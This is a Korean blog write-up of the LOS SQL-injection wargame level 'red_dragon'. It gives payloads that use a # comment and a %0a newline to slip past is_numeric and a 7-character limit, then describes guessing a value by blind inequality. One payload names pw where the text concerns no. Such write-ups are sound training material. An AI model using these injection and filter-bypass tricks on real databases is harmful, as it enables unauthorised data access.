풀이
이번 문제는 id의 최대 길이가 7자이다.
또한 no는 is_numeric 함수를 통과 해야한다.
이번 문제는 result['no'] === GET['no'] 분기문을 보면 알 수 있듯이, no의 값을 맞춰야한다.
id부분 Query를 다음과 같이 바꾸면 어떻게 될까?
Query: ?id='||1%23
$query = "select id from prob_red_dragon where id=''||1#' and no={$no}";
해당 부분이 주석처리 된다.
#을 넣으면 한 줄 주석 처리가 된다는 점을 이용해 no의 값을 추측해보자.
Query를 다음과 같이 바꿔보자.
Query: ?id='||pw>%23&pw=%0a(숫자)
$query = "select id from prob_red_dragon where id=''||pw>#' and no=%0a(숫자)";
참고로, %0a는 is_numeric 함수에 Filtering 되지 않는다.
이제 해당 부분이 주석처리 되고, 부등식은 다음과 같이 바뀐다.
pw>(숫자)
이제 부등식이 참이면, Hello admin을 출력하고 거짓이면 아무 결과도 출력하지 않는 점을 이용하자.
부등식안에 숫자를 계속 바꿔가면서 no의 값을 추측해보자.
'Wargame > LOS' 카테고리의 다른 글
[LOS] phantom 풀이 (st.29) (0) | 2020.06.04 |
---|---|
[LOS] blue_dragon 풀이 (st.27) (0) | 2020.06.03 |
[LOS] hell_fire 풀이 (st.23) (0) | 2020.05.31 |
[LOS] evil_wizard 풀이 (st.24) (0) | 2020.05.31 |
[LOS] green_dragon 풀이 (st.25) (0) | 2020.05.31 |